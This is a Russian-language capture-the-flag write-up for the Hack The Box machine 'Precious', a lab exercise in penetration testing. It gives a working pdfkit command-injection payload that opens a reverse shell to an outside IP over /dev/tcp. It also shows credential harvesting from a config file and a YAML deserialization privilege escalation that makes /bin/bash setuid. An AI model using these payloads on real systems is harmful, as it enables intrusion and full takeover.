Сбор информации
Прежде всего, соберем информацию о машине.
Используем nmap с ключами -sV -sC:
Сканирование показало, что порт 22 и порт 80 — октрыты. Видим , что порт 80 перенаправляет на http://precious.htb . Чтоб увидеть сайт, добавим его в /etc/hosts .
Посмотрим какие есть директории используя инструмент dirsearch:
Тут ничего. Проверим web server. При переходе на precious.htb , видим такую страницу:
Веб сервер предлагает сервис по конвертации веб-страниц в файл PDF. Проверим, работает ли. Запустим локальный сервер у себя.
Создадим index.html в директории localhost, и внесём его в адресную строку :
Сработало! Скачали PDF файл, посмотрим что он из себя представляет:
Посмотрим его свойства, он создан pdfkit v.0.8.6 .
Выглядит как обычный PDF файл. Смотрим его свойства и видим что PDF создан pdfkit v.0.8.6 .
Беглое исследование в google приводит нас к тому, что существует уязвимость CVE-2022-25765, и можно узнать, что эта версия pdfkit уязвима к command injections.
Ознакомиться с CVE можно тут: https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795
Согласно CVE, “an application could be vulnerable if it tries to render a URL that contains query string parameters with user input” и “if the provided parameter happens to contain a URL encoded character and a shell command substitution string, it will be included in the command that PDFKit executes to render the PDF”. Этого достаточно, чтобы проникнуть!
Запустим netcat на прослушку порта 4444:
sudo nc -lnvp 4444
В веб сервисе http://precious.htb модифицируем эксплойт под наши нужды и введём:
http://localhost.com/?name=#{'%20`bash -c "bash -i >& /dev/tcp/10.10.14.33/4444 0>&1"`'}
Смотрим в terminal и видим, что мы вошли.
Получаем user flag:
Whoami → ruby
Итак мы залогинились на сервер, как пользователь ruby. Переместимся в папку /home и в ней находим ещё две папки. Одна из них наш ruby user, а вторая для user’а henry. Внутри папки henry обнаруживаем файл user.txt . Это и есть наш флаг. Но пока не имеем к нему доступа.
Осмотревшись, находим файл в /home/ruby/.bundle, названый config.
Смотрим содержимое cat config. и обнаруживаем пароль для user’а henry.
Используя данные henry, подключимся по ssh к серверу под user’ом henry:
Теперь можем посмотреть user.txt, и берём первый флаг!
Получаем root flag:
Теперь, когда мы внутри как henry, давайте посмотрим, что можно сделать. Используем команду sudo -l, и посмотрим, что можно запустить:
Похоже henry может запустить файл update_dependencies.rb , как root, используем cat и изучим файл.
Смотрим на код и обнаруживаем, что он использует YAML.load , который уязвим к deserialization attack.
Почитать больше о YAML deserialization attacks можно тут:
Недолгие поиски привели к https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/ находим dependencies.yml, и модифицируем его.
Sudo nano dependencies.yml, и берём код на Ruby on Rails из поста выше.
В строке git_set: id, напишем «chmod 4777 /bin/bash», если всё продумано верно, то это позволит получить нам root.
Запускаем файл.
Sudo /usr/bin/ruby /opt/update_dependencies.rb
Сработало!
Пробуем /bin/bash -p
Готово, берём root флаг!